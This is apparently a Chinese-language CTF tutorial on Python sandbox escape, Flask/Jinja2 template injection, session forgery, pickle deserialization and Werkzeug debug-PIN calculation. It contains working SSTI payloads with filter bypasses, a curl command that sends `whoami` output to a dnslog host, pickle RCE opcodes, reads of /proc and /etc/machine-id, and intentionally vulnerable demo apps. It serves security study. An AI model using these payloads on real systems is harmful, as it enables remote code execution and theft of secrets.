剖析原理
首先我们需要理解一下 Python 的几种数据类型,笔者这里将常见数据类型放入一个列表中再进行依次打印,例如:
Python3:
Python2:
我们可以看到,使用 type 来进行检查数据类型时,会返回 <class 'XXX'>
,那么我们会注意到 XXX 前的 class,在编程语言中,class 是用来定义类的。是的,没错,在 Python 中,一个字符串则为 str 类的对象,一个整形则为 int 类的对象,一个浮点数据则为 float 的对象。..
我们可以通过 id 来看一下这些对象的编号是多少,如图:
得出首条结论:在 Python 中,一切皆对象。
那么知道这些有什么用呢?一个对象则存在属性与方法,我们可以通过 dir 来进行查看,如图 ( 这里用普通字符串来进行举例 ) :
我们可以看到字符串 python2 与 python3 都返回了 upper,我们知道 upper 是一个函数,那么我们使用一下该方法。如图:
因为在 Python 中一切都是对象,所以方法与类也是对象,如图:
我们现在缺少的只是方法与类的调用而已,文章中不再描述如何调用。
那么现在问题就出来了,我们知道 Python 中存在数据类型,这些数据类型它们都是一个类,我们是怎么找到这个类并实例化出来它们的?又或者说,在 Python 中存在一些函数,我们是怎么找到它们并调用的?如何查找到是当前的一个问题。
我们可以通过 globals 函数来进行查看 ( globals 是获取当前可访问到的变量 ) :
我们可以看到我们定义的变量 a 已经放入到 globals 函数当中了,我们可以看到有 builtins 这样一个变量,它是一个模块。并且模块名在 Python2 中命名为 builtin,在 Python3 中又重新命名为了 builtins。
我们使用 dir 看一下该模块中所存在的一些内容。
我们可以看到,我们所使用的基础方法都存放在该模块中,我们使用该模块调用一下 print 函数来进行测试。
我们可以看到,在 Python3 中返回正常,Python2 却抛出异常,这是因为在 Python2 中 print 为一个语句,在 Python3 中它换成了一个函数。
得出第二条结论:在 Python2/3 中,任何基础类以及函数都存放在 builtin/builtins 模块中。
那么如果我们通过一些方式,可以定位到 builtin / builtins 模块,那岂不是可以进行进行调用任意函数了。
现在的问题是我们该怎么定位。
我们知道 builtins 是存放在 globals 函数中的,与变量的作用域是有关系的,谈到变量的作用域,我们会想到一个玩意:自定义方法。
我们可以自定义一个方法,将它视为一个对象,使用 dir 看一下它下面的成员属性。
如图:
果然,在一个普通方法中是存在 globals 这么一个成员属性的,我们可以打印它看一下。
我们可以看到 globals 就是 globals ( ) 函数的返回值,同理,它们下面都存在 builtins 变量,我们可以使用 函数。globals['__builtins__'].恶意函数 ( )
来执行一下 eval。如图:
我们可以看到,eval 被我们成功执行!
而方法也是可以定义在类中的,我们简单定义一个类,并且定义一个 init 魔术方法 ( init 是魔术方法,该方法在被类创建时自动调用 ) 。
我们可以看到同样是可以调用 eval 的。
如果我们不定义 init 会怎么样呢?我们可以看一下。
可以看到,在 Python2 中会报错,而 python3 中会返回 slot。不定义 init 是不可以访问到 globals 成员属性的,如图:
我们再看一下模块中的方法与当前都有什么区别。
这里区别就很明显了,这里「模块中的方法」中 globals.__builtins__
中的所有内容都被存放入一个字典中才可以进行调用。我们调用一下 eval 来进行测试,如图:
当然我们可以使用 import 函数调用 os 来进行执行命令,如图:
我们可以看到 whoami 被成功调用。
得出第三条结论:我们可以通过一个普通函数 ( 或类中已定义的方法 ) 对象下的 globals 成员属性来得到 builtins,从而执行任意函数,这里要注意的是,模块与非模块下的 globals 的区别。
那么实际场景中,根本没有这样一个方法给我们利用。我们应该怎么做?
我们使用 dir 看一下普通类型 ( int,str,bool.... ) 的返回结果。如图:
我们查看一下 class 的内容。如图:
可以看到通过 class 成员属性可以得到当前对象是 XXX 类的实例化。
在 Python 中,所有数据类型都存放于 Object 一个大类中,如图:
我们可以通过 bases/mro/base 来得到 object,如图:
可以看到在 python2 中并没有直接返回 object,我们可以再次访问 bases 就可以得到 object 了,如图:
那么通过 subclasses 即可得到 object 下的所有子类,如图:
下面我们就可以来依次判断这些类中是否定义 init ( 或其他魔术方法 ) 方法,如果定义,那么就可以拿到 init ( 或其他魔术方法 ) 下的 globals.__builtins__
从而执行任意函数,编写脚本进行测试:
可以看到这些类都是可以进行利用的类。当然,也可以使用其他魔术方法,这里举例 delete 魔术方法,如图:
得出第四条结论:我们可以通过普通数据类型的 class 成员属性得到所属类,再通过 bases/base/mro 可以得到 object 类,再次通过 subclasses ( ) 来得到 object 下的所有基类,遍历所有基类检查是否存在指定的魔术方法,如果存在,那么即可获取 globals.__builtins__
,就可以调用任意函数了。
如上总结在 Python2/3 中都是可以进行利用的,只是在 Python2 中多了一种 file 的姿势。
如图:
只是 file 在 Python3 中被移除了,故 Python3 中没有此利用姿势。
Flask 模板注入
沙箱逃逸通常与 flask 的模板注入紧密联系,模板中存在可以植入表达式的可控点那么就会存在 SSTI 问题。
存在漏洞的代码:
from flask import Flask,render_template,request,render_template_string,session
from datetime import timedelta
app = Flask ( name )
app.config['SECRET_KEY'] = 'hacker'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta ( days=7 )
@app.route ( '/test',methods=['GET', 'POST'] )
def test ( ) :
content = request.args.get ( "content" )
template = '''
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
<h4>Your Money : %s</h4>
</div>
''' % ( content, session.get ( 'money' ))
return render_template_string ( template )
@app.route ( '/sess' )
def t ( ) :
session['money'] = 100
return '设置金额成功。..'
if name == 'main':
app.debug = True
app.run ( )
在/test 路由中存在模板注入漏洞,那么我们可以通过传递 payload:
?content={{[].__class__.__base__.__subclasses__ ( ) [80].__init__.__globals__['__builtins__'] ['__import__']('os') .popen ( 'whoami' ) .read ( )}}
来进行执行任意命令 ( subclasses 可利用的键值可以通过 Burp 从 1-999 进行爆破出结果,这里得到 80 可以被利用 ) ,如图:
至此,我们完成了首次模板注入。
但是成熟的模板注入类的题目它会进行一些过滤的。这里简单总结一下。
过滤问题总结
这里简单记录一下模板注入中的一些过滤的绕过。
过滤中括号
我们知道 subclasses ( ) 返回一个列表,globals 返回一个字典,而列表的访问语法与字典的访问语法需要借助于中括号,如果将中括号过滤,那么我们怎么办呢?
我们使用 dir 来查看一下「正常的列表/正常的字典」下的成员属性及方法,如图:
可以看到存在 getitem 方法。
进行调用:
当然,字典的访问也是可以通过 getitem 方法来进行绕过 ( pop 方法也可以被利用 ) 。
如果过滤引号,我们岂不是不可以进行模板注入了?
引号则表示 str 类型的数据,而 str 类型的数据可以通过变量来表示,这里可以借助于 flask 中 request.args 对象来作为变量,以 get 传递进行赋值。
构造 Payload:
?content={{[].__class__.__base__.__subclasses__ ( ) [80].__init__.__globals__ [request.args.__builtins__] [request.args.__import__](request.args.os) .popen ( request.args.whoami ) .read ( )}}&builtins=builtins&import=import&os=os&whoami=whoami
如图:
成功执行命令。
过滤双下划线
由于在 jinja2 中允许「对象[属性]」的方式来访问成员属性,如图:
此时的属性放置的内容为字符类型,我们可以通过 request.args 全程代替。
构造 Payload:
?content={{[][request.args.class][request.args.base] [request.args.subclasses]() [80][request.args.init][request.args.globals][request.args.builtins] [request.args.import](request.args.os) .popen ( request.args.whoami ) .read ( )}}&builtins=builtins&import=import&os=os&whoami=whoami&class=class&base=base&subclasses=subclasses&init=init&globals=globals
如图:
当然,也可以通过字符串拼接的方式,构造 Payload:
?content={{[]['_'+'_class_'+'_']}}
结果如下:
过滤大括号
{{}} 通常来表示一个变量,而 {% %} 则表示为流程语句,虽然不可以回显内容,但是我们可以通过 curl 来进行外带数据。
Payload:
?content={% if ''.__class__.__base__.__subclasses__ ( ) [80].__init__.__globals__['__builtins__'] ['__import__']('os') .popen ( 'curl http://w9y7rp.dnslog.cn/?test=`whoami`' ) .read ( ) !=1%}1{% endif %}
自定义一个 web 服务即可接收到,笔者这里使用的是 dnslog,得不到发出的参数。如图:
当然反弹 shell 也是一种不错的姿势,这里就不再描述了。
Flask 的一些其他问题
Python 的 session 值篡改攻击
在 CTF 考点中还存在一种身份伪造类的题目。我们看一下该代码块的 sess 路由,如图:
from flask import Flask,render_template,request,render_template_string,session
from datetime import timedelta
app = Flask ( name )
app.config['SECRET_KEY'] = 'hacker'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta ( days=7 )
@app.route ( '/test',methods=['GET', 'POST'] )
def test ( ) :
content = request.args.get ( "content" )
template = '''
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
<h4>Your Money : %s</h4>
</div>
''' % ( content, session.get ( 'money' ))
return render_template_string ( template )
@app.route ( '/sess' )
def t ( ) :
session['money'] = 100
return '设置金额成功。..'
if name == 'main':
app.debug = True
app.run ( )
我们可以看到,这里定义了 session[money]=100
。当我们访问/sess 时,服务端就会返回一个 jwt 给我们,如图:
可以看到 session 是以 jwt 来进行存储的,而使用 jwt 存储是有危害的。
关于 jwt 的解释:https://www.jianshu.com/p/576dbf44b2ae
只要我们获取 SECRET_KEY,那么该 JWT 是可以进行伪造的。
问题是我们如何进行获取 SECRET_KEY?
- 第一种:通过 SSTI 的{{config}}
如图:
我们可以看到,{{config}}是可以窃取出 SECRET_KEY。
- 第二种:通过 Linux 中的/proc/self/environ
这种姿势我们会在「CTF 小结」中的一道叫做「[PASECA2019] honey_shop」的题目所记载。它需要任意文件读取的姿势才可以进行得到 SECRET_KEY。
- 第三种:爆破
有一道叫做「[CISCN2019 华北赛区 Day1 Web2] ikun」的题目涉及到了这种姿势,其中又提到了 Python 反序列化,这里奉上 WriteUp:
https://blog.csdn.net/weixin_43345082/article/details/97817909
对于反序列化,笔者会在 0x02 中进行描述。
我们可以通过 flask-session-cookie-manager 工具来生成恶意的 JWT 即可完成身份伪造,工具 GitHub: https://github.com/style-404/flask-session-cookie-manager。
首先我们对当前的 JWT 进行 base64 解码,如图:
这里可以得出一条 JSON 数据过来,那么我们使用 flask-session-cookie-manager 工具,借助 SECRET_KEY 来将 money 篡改为 999.
工具使用:python3 flask_session_cookie_manager3.py encode -s "secret_key" -t "json"
修改本地的 session 值,随后访问/test 查看结果。
可以看到成功篡改 money 的值。
它所利用的条件为 任意文件读取+flask 的 DEBUG 模式。
参考文章:https://xz.aliyun.com/t/2553
这里笔者就不再做演示了。
部分 CTF 题目实例
Real -> [Flask] SSTI
这道题是比较基础的一道题目,无任何过滤,我们直接进行注入即可。
可以看到表达式被正常解析,那么继续往下操作即可。
构造 Payload:
?name={{[].__class__.__base__.__subclasses__ ( )[80].__init__.__globals__['__builtins__'] ['__import__']('os') .popen ( 'ls /' ) .read ( )}}
命令执行结果如图:
WEB -> [GYCTF2020] FlaskApp
该题目有两个功能,Base64 加密与 Base64 解密,在 Base64 解密处存在模板注入。
题目如图:
解密结果:
由此得知存在 ssti。
经过测试,得知 75 存在可利用的 function 为 init,如图:
提交后:
但继续往下构造攻击链时,发现过滤了一些敏感关键字,使用 open 进行读取源码:
源码过滤如图:
我们可以看到万恶的 request 也被过滤了,但是这里我们可以使用字符拼接来进行绕过,popen 可以使用中括号加字符拼接的方式进行调用,那么构造 Payload:
{{[].__class__.__base__.__subclasses__ ( ) [75].__init__.__globals__['__builtins__'] ['__imp'+'ort__']('o'+'s') ['po'+'pen'] ( 'ls /' ) .read ( )}}
编码为 base64 后提交,查看一下结果:
存在 flag 关键字,导致我们无法读取,这里我们可以通过命令执行的绕过姿势「\」来进行绕过,再次构造 Payload:
{{[].__class__.__base__.__subclasses__ ( ) [75].__init__.__globals__['__builtins__'] ['__imp'+'ort__']('o'+'s') ['po'+'pen'] ( 'cat /this_is_the_fl\\ag.txt' ) .read ( )}}
编码为 base64 后进行提交:
WEB -> [CSCCTF 2019 Qual] FlaskLight
打开题目源码发现提示参数 search
那么我们可以通过?search={{2*3}}来查看一下结果。
可以看到 6 弹我们一脸,那么此处存在 ssti。
subclasses 丢进 Burp 进行爆破键值,如图:
得出下标为 59 的 init 魔术方法可以被利用,如图:
构造 Payload 至 globals 发现被过滤,简单访问一下,真的返回 500,如图:
可以使用 request.arg.x 来进行绕过,构造 Payload:
?search={{[].__class__.__base__.__subclasses__ ( ) [59].__init__ [request.args.g]['__builtins__'] ['__import__']('os') .popen ( 'ls /flasklight' ) .read ( )}}&g=globals
查看结果:
再次构造 Payload 读取 flag:
?search={{[].__class__.__base__.__subclasses__ ( ) [59].__init__ [request.args.g]['__builtins__'] ['__import__']('os') .popen ( 'cat /flasklight/coomme_geeeett_youur_flek' ) .read ( )}}&g=globals
如图:
查看源代码,发现 Ajax 请求:
笔者在构造 Payload 时,发现过滤了 单引号 ( 『 ) 、点 ( . ) ,下划线 ( _ ) ,那么我们可以通过双引号来解析变量,并且使用 16 进制代替下划线即可。
如图:
构造 Payload 来进行爆破下标:
?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"] ["\x5F\x5Fsubclasses\x5F\x5F"]() [§80§]["\x5F\x5Finit\x5F\x5F"]}}
发现下标为 91 的 init 方法可以被利用,如图:
构造 Payload 执行命令:
?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"] ["\x5F\x5Fsubclasses\x5F\x5F"]() [91]["\x5F\x5Finit\x5F\x5F"]["\x5F\x5Fglobals\x5F\x5F"]["\x5F\x5Fbuiltins\x5F\x5F"] ["\x5F\x5Fimport\x5F\x5F"]("os") ["popen"]("\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x2f\x61\x70\x70\x2e\x70\x79") ["read"]() }}
其中
\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x2f\x61\x70\x70\x2e\x70\x79
为 cat /proc/self/cwd/app.py,这里转换可以使用笔者已经写好的脚本:
payload = b'cat /proc/self/cwd/app.py'
string = payload.hex ( )
result = ''
for i in range ( 0, len ( string ) , 2 ) :
result += '\\x' + string [i: i+2]
print ( result )
结果如图:
可以看到 flag 文件被 os 删掉了,但是 flag 的值被存放于 app.config 当中,并且经过了 encode 函数处理,我们可以看一下 encode 函数的定义:
是使用的异或算法,那么现在我们只需要从 config 中拿到加密后的 flag 值,并且将它再次执行一下 encode 函数即可得到 flag。
再次执行函数
则得到 flag。
WEB -> [PASECA2019] honey_shop
该题目属于 JWT 身份伪造攻击,首先我们打开主页,可以看到金额为 1336,如图:
而 flag 需要 1337。
在/download 路由下存在文件下载,猜测存在任意文件下载,那么我们下载。./../../../../../../../../proc/self/environ 来进行观察,如图:
成功下载到并拿到 SECRET_KEY,然后我们对当前网址的 jwt 使用 base64 进行解密,得出:
伪造为:{"balance":1338,"purchases": []},即可购买 flag 了。
Python 反序列化漏洞利用、原理文章推荐
因为在知乎有位师傅写的非常不错,那么笔者在这里也不去班门弄斧。
传送门:https://zhuanlan.zhihu.com/p/89132768
这里做一下总结,并且对一种利用姿势扩大成果,然后分享一道有意思的例题。
Python 反序列化能干什么?
R 指令码的 RCE
Python 的反序列化比 PHP 危害更大,可以直接进行 RCE。
编写测试脚本:
import pickle, os, base64
class Exp ( object ) :
def reduce ( self ) :
return ( os.system, ( 'dir', ))
with open ( './hacker.txt', 'wb' ) as fileObj:
pickle.dump ( Exp ( ) , fileObj )
会在当前目录生成 hacker.txt,内容为序列化的值。如图:
我们再次使用 pickle 进行反序列化即可执行 dir 命令。
这里可以看到成功执行了 dir 命令。
c 指令码的变量获取
当 R 指令码被禁用后,我们可以采取这种姿势来获取变量。
在当前目录下创建 flag.py 文件,并且存放一个 flag 变量,当作模块来进行使用。如图:
编写获取 flag 变量的脚本:
import flag, pickle
class Person ( ) :
pass
b = b'\x80\x03cmain\nPerson\n ) \x81} ( Vtest\ncflag\nflag\nub.'
print ( pickle.loads ( b ) .test )
主要思路为:cflag\nflag\n
当作 test 属性的 value 值压进了前序栈的空 dict,随后使用 b 覆盖了 Person 类的 dict 成员属性,导致了变量被窃取。
我们可以看到 pickle.loads 返回的对象下的 test 就是 flag 的值,如图:
c 指令码的变量修改
当 R 指令码被禁用后,并且 find_class 函数只允许获取 main 中的变量时,我们可以采取这种姿势来修改任意变量。
在原理文章中并没有提到一种姿势,而有一种姿势也是可以进行利用的。我们先按照原理文章来测试一遍。
测试脚本:
import flag, pickle
class Person ( ) :
pass
b = b'\x80\x03cmain\nflag\n} ( Vflag\nVhacker\nub0cmain\nPerson\n ) \x81} ( Va\nVa\nub.'
pickle.loads ( b )
print ( flag.flag )
主要思路为:使用 c 将 flag 模块导入进来,通过 ub 来更新 flag 模块的 dict 属性,故可以恶意修改变量的值。
查看结果:
我们可以看到,flag 包中的 flag 变量被成功修改。
那么在反序列化中,一个普通字符串也是可以当作一种数据来进行序列化的,所以这里并不需要 Person 的类支撑即可完成变量修改。
修改脚本如下:
import flag, pickle
b = b'\x80\x03cmain\nflag\n} ( Vflag\nVhacker\nub0Va\n.'
print ( pickle.loads ( b ))
print ( flag.flag )
结果:
那么就成功篡改了 flag 包中的 flag 变量的内容。
setstate 特性 RCE
编写测试脚本:
import flag, pickle
class Person ( ) :
pass
b = b'\x80\x03cmain\nobject\n ) \x81} ( Vsetstate\ncos\nsystem\nubVdir\nb.'
print ( pickle.loads ( b ))
主要思路为:借助于 setstate 的特性造成了 RCE。
执行结果:
可以看到成功执行了 dir 命令。
近看一道 ssrf+反序列化+SSTI 的例题
这道题是朋友很早之前就留下来的,在网上也找不到现成的反序列化题目,就用它好了。
题目代码是这样的:
from flask import Flask,render_template
from flask import request
import urllib
import sys
import os
import pickle
import ctf_config
from jinja2 import Template
import base64
import io
app = Flask ( name )
class RestrictedUnpickler ( pickle.Unpickler ) :
def find_class ( self, module, name ) :
if module == 'main':
return getattr ( sys.modules['__main__'], name )
raise pickle.UnpicklingError ( "only main" )
def get_domain ( url ) :
if url.startswith ( 'http://' ) :
url = url [7: ]
if not url.find ( "/" ) == -1:
domain = url [url.find ( "@" ) +1: url.index ( "/",url.find ( "@" )) ]
else:
domain = url [url.find ( "@" ) +1: ]
print ( domain )
return domain
else:
return False
@app.route ( "/", methods=['GET'] )
def index ( ) :
return render_template ( "index.html" )
@app.route ( "/get_baidu", methods=['GET'] ) # get_baidu?url=http://127.0.0.1:8000/[email protected]/
def get_baidu ( ) :
url = request.args.get ( "url" )
if ( url == None ) :
return "please get url"
if ( get_domain ( url ) == "www.baidu.com" ) :
content = urllib.request.urlopen ( url ) .read ( )
return content
else:
return render_template ( 'index.html' )
@app.route ( "/admin", methods=['GET'] )
def admin ( ) :
data = request.args.get ( "data" )
if ( data == None ) :
return "please get data"
ip = request.remote_addr
if ip != '127.0.0.1':
return redirect ( 'index' )
else:
name = base64.b64decode ( data )
if b'R' in name:
return "no reduce"
name = RestrictedUnpickler ( io.BytesIO ( name )) .load ( )
if name == "admin":
t = Template ( "Hello " + name )
else:
t = Template ( "Hello " + ctf_config.name )
return t.render ( )
if name == 'main':
app.debug = False
app.run ( host='0.0.0.0', port=8000 )
在 45 行中存在一个判断。
if ( get_domain ( url ) == "www.baidu.com" ) :
content = urllib.request.urlopen ( url ) .read ( )
return content
如果进入到该分支则调用至 urllib.request.urlopen 函数,那么我们看一下 get_domain 方法是逻辑是怎么样的。
在 27 行中出现了漏洞问题,如果 url 中存在「/」,则返回@符号往后的内容,那么这里存在一个伪造的情况,例如: http://127.0.0.1:3306/[email protected]/
,则会匹配到 www.baidu.com/
,但是实际发送出的 HTTP 请求还是发送至 127.0.0.1
身上,所以说这里存在一个 SSRF 漏洞问题。
而在 51-68 行中确实验证了访问者的 IP ( 这里可以使用 SSRF 进行绕过 ) ,如图:
61 行禁用了 R 指令,则表示不可以使用 reduce 进行命令执行操作,可以看到 63 行实例化了 RestrictedUnpickler 类,而该类则继承了 pickle.Unpickler 类,如图:
同时重写了 find_class 的方法,这时 c 指令只可以进行导入本地模块。而类名中存在「R 关键字」,则无法进行 setstate 姿势的 RCE,这里利用方式只剩下一种:c 指令码的变量修改。
但是变量修改有什么用呢?我们可以注意到第 67 行的 ctf_config 包下的 name 变量,如图:
直接将变量的值拼接到 Template 方法中,这里存在一个 SSTI 注入问题。
那么思路就有了:通过 get_data 路由发送 SSRF 请求->admin 路由接收进行反序列化->修改 ctf_config 下的 name 属性为 SSTI 注入语句->实现 RCE。
那么编写 POC 脚本:
import base64
ssti = b'2\*6'
payload = b'\x80\x03cmain\nctf_config\n} ( Vname\nV{{' + ssti + b'}}\nub0V123\n.'
payload = base64.b64encode ( payload ) .decode ( 'utf-8' )
print ( payload )
传递 Payload:
http://127.0.0.1:8000/get_baidu?url=http://127.0.0.1:8000/admin?data=SSTI 的值%[email protected]/
如图:
成功进行 SSTI 注入,笔者发现 subclasses ( ) 的第 81 下标存在可利用的 function,那么这里直接执行 whoami:
可以看到成功执行了「whoami」。
Flask Debug
之前在国赛决赛的时候看到 p0 师傅提到的关于 Flask debug 模式下,配合任意文件读取,造成的任意代码执行。那时候就很感兴趣,无奈后来事情有点多,一直没来得及研究。今天把这个终于把这个问题复现了一下
主要就是利用 Flask 在 debug 模式下会生成一个 Debugger PIN
kingkk@ubuntu:~/Code/flask$ python3 app.py
- Running on http://0.0.0.0:8080/ ( Press CTRL+C to quit )
- Restarting with stat
- Debugger is active!
- Debugger pin code: 169-851-075
通过这个 pin 码,我们可以在报错页面执行任意 python 代码
问题就出在了这个 pin 码的生成机制上,在同一台机子上多次启动同一个 Flask 应用时,会发现这个 pin 码是固定的。是由一些固定的值生成的,不如直接来看看 Flask 源码中是怎么写的
代码逻辑分析
测试环境为:
- Ubuntu 16.04
- python 3.5
- Flask 0.10.1
一个简单的 hello world 程序 app.py
# -*- coding: utf-8 -*-
from flask import Flask
app = Flask ( __name__ )
@app.route ( "/" )
def hello ( ) :
return 'hello world!'
if __name__ == "__main__":
app.run ( host="0.0.0.0", port=8080, debug=True )
用 pycharm 在 app.run 下好断点,开启 debug 模式
由于代码写的还是相当官方的,很容易就能找到生成 pin 码的部分,大致跟踪流程如下
app.py
python3.5/site-packages/flask/app.py 772 行左右 run_simple ( host, port, self, options )
python3.5/site-packages/werkzeug/serving.py 751 行左右 application = DebuggedApplication ( application, use_evalex )
python3.5/site-packages/werkzeug/debug/__init__.py
主要就在这个 debug/__init__.py
中,先来看一下 _get_pin
函数
def _get_pin ( self ) :
if not hasattr ( self, '_pin' ) :
self._pin, self._pin_cookie = get_pin_and_cookie_name ( self.app )
return self._pin
跟进一下 get_pin_and_cookie_name 函数
def get_pin_and_cookie_name ( app ) :
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get ( 'WERKZEUG_DEBUG_PIN' )
rv = None
num = None
# Pin was explicitly disabled
if pin == 'off':
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace ( '-', '' ) .isdigit ( ) :
# If there are separators in the pin, return it directly
if '-' in pin:
rv = pin
else:
num = pin
modname = getattr ( app, '__module__',
getattr ( app.__class__, '__module__' ))
try:
# `getpass.getuser ( )` imports the `pwd` module,
# which does not exist in the Google App Engine sandbox.
username = getpass.getuser ( )
except ImportError:
username = None
mod = sys.modules.get ( modname )
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr ( app, '__name__', getattr ( app.__class__, '__name__' )) ,
getattr ( mod, '__file__', None ) ,
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
str ( uuid.getnode ( )) ,
get_machine_id ( ) ,
]
h = hashlib.md5 ( )
for bit in chain ( probably_public_bits, private_bits ) :
if not bit:
continue
if isinstance ( bit, text_type ) :
bit = bit.encode ( 'utf-8' )
h.update ( bit )
h.update ( b'cookiesalt' )
cookie_name = '__wzd' + h.hexdigest ( ) [:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update ( b'pinsalt' )
num = ( '%09d' % int ( h.hexdigest ( ) , 16 )) [:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5,4, 3:
if len ( num ) % group_size == 0:
rv = '-'.join ( num [x: x + group_size].rjust ( group_size, '0' )
for x in range ( 0, len ( num ) , group_size ))
break
else:
rv = num
return rv, cookie_name
return 的 rv
变量就是生成的 pin 码
最主要的就是这一段哈希部分
for bit in chain ( probably_public_bits, private_bits ) :
if not bit:
continue
if isinstance ( bit, text_type ) :
bit = bit.encode ( 'utf-8' )
h.update ( bit )
h.update ( b'cookiesalt' )
连接了两个列表,然后循环里面的值做哈希
这两个列表的定义
probably_public_bits = [
username,
modname,
getattr ( app, '__name__', getattr ( app.__class__, '__name__' )) ,
getattr ( mod, '__file__', None ) ,
]
private_bits = [
str ( uuid.getnode ( )) ,
get_machine_id ( ) ,
]
可以先看一下 debug 的值,配合 debug 中的值做进一步分析
可以看到
username
就是启动这个 Flask 的用户
modname
为 flask.app
getattr ( app, '__name__', getattr ( app.__class__, '__name__' ))
为 Flask
getattr ( mod, '__file__', None )
为 flask 目录下的一个 app.py 的绝对路径
uuid.getnode ( )
就是当前电脑的 MAC 地址,str ( uuid.getnode ( ))
则是 mac 地址的十进制表达式
get_machine_id ( )
不妨跟进去看一下
def _generate ( ) :
# Potential sources of secret information on linux. The machine-id
# is stable across boots, the boot id is not
for filename in '/etc/machine-id', '/proc/sys/kernel/random/boot_id':
try:
with open ( filename, 'rb' ) as f:
return f.readline ( ) .strip ( )
except IOError:
continue
# On OS X we can use the computer's serial number assuming that
# ioreg exists and can spit out that information.
try:
# Also catch import errors: subprocess may not be available, e.g.
# Google App Engine
# See https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE
dump = Popen ( ['ioreg', '-c', 'IOPlatformExpertDevice', '-d', '2'],
stdout=PIPE ) .communicate ( ) [0]
match = re.search ( b'"serial-number" = <( [^>]+ ) ', dump )
if match is not None:
return match.group ( 1 )
except ( OSError, ImportError ) :
pass
# On Windows we can use winreg to get the machine guid
wr = None
try:
import winreg as wr
except ImportError:
try:
import _winreg as wr
except ImportError:
pass
if wr is not None:
try:
with wr.OpenKey ( wr.HKEY_LOCAL_MACHINE,
'SOFTWARE\\Microsoft\\Cryptography', 0,
wr.KEY_READ | wr.KEY_WOW64_64KEY ) as rk:
machineGuid, wrType = wr.QueryValueEx ( rk, 'MachineGuid' )
if ( wrType == wr.REG_SZ ) :
return machineGuid.encode ( 'utf-8' )
else:
return machineGuid
except WindowsError:
pass
_machine_id = rv = _generate ( )
return rv
首先尝试读取 /etc/machine-id
或者 /proc/sys/kernel/random/boot_i
中的值,若有就直接返回
假如是在 win 平台下读取不到上面两个文件,就去获取注册表中 SOFTWARE\\Microsoft\\Cryptography
的值,并返回
这里就是 etc/machine-id
文件下的值
这样,当这 6 个值我们可以获取到时,就可以推算出生成的 PIN 码,引发任意代码执行
配合任意文件读取
修改一下之前的 app.py,增加一个任意文件读取功能,并让 index 页面抛出一个异常 ( 也就是给一个代码执行点
# -*- coding: utf-8 -*-
import pdb
from flask import Flask, request
app = Flask ( __name__ )
@app.route ( "/" )
def hello ( ) :
return Hello['a']
@app.route ( "/file" )
def file ( ) :
filename = request.args.get ( 'filename' )
try:
with open ( filename, 'r' ) as f:
return f.read ( )
except:
return 'error'
if __name__ == "__main__":
app.run ( host="0.0.0.0", port=8080, debug=True )
尝试去获取那 6 个变量值
username # 用户名
modname # flask.app
getattr ( app, '__name__', getattr ( app.__class__, '__name__' )) # Flask
getattr ( mod, '__file__', None ) # flask 目录下的一个 app.py 的绝对路径
uuid.getnode ( ) # mac 地址十进制
get_machine_id ( ) # /etc/machine-id
首先先获取 /etc/machine-id
19949f18ce36422da1402b3e3fe53008
然后是 mac 地址 ( 我虚拟机中网卡为 ens33,一般情况下应该是 eth0 )
然后还可以利用 debug 的报错页面获取一些路径信息
这样直接用户名和 app.py 的绝对路径都能获得到了
然后利用几个值,就可以推算出 pin 码
import hashlib
from itertools import chain
probably_public_bits = [
'kingkk',# username
'flask.app',# modname
'Flask',# getattr ( app, '__name__', getattr ( app.__class__, '__name__' ))
'/home/kingkk/.local/lib/python3.5/site-packages/flask/app.py' # getattr ( mod, '__file__', None ) ,
]
private_bits = [
'52242498922',# str ( uuid.getnode ( )) , /sys/class/net/ens33/address
'19949f18ce36422da1402b3e3fe53008'# get_machine_id ( ) , /etc/machine-id
]
h = hashlib.md5 ( )
for bit in chain ( probably_public_bits, private_bits ) :
if not bit:
continue
if isinstance ( bit, str ) :
bit = bit.encode ( 'utf-8' )
h.update ( bit )
h.update ( b'cookiesalt' )
cookie_name = '__wzd' + h.hexdigest ( ) [:20]
num = None
if num is None:
h.update ( b'pinsalt' )
num = ( '%09d' % int ( h.hexdigest ( ) , 16 )) [:9]
rv =None
if rv is None:
for group_size in 5,4, 3:
if len ( num ) % group_size == 0:
rv = '-'.join ( num [x: x + group_size].rjust ( group_size, '0' )
for x in range ( 0, len ( num ) , group_size ))
break
else:
rv = num
print ( rv )
算出来 pin 码为
169-851-075
可以看到和终端输出的 pin 码值是一样的
kingkk@ubuntu:~/Code/flask$ python3 app.py
- Running on http://0.0.0.0:8080/ ( Press CTRL+C to quit )
- Restarting with stat
- Debugger is active!
- Debugger pin code: 169-851-075
尝试在 debug 页面输入一下
成功命令执行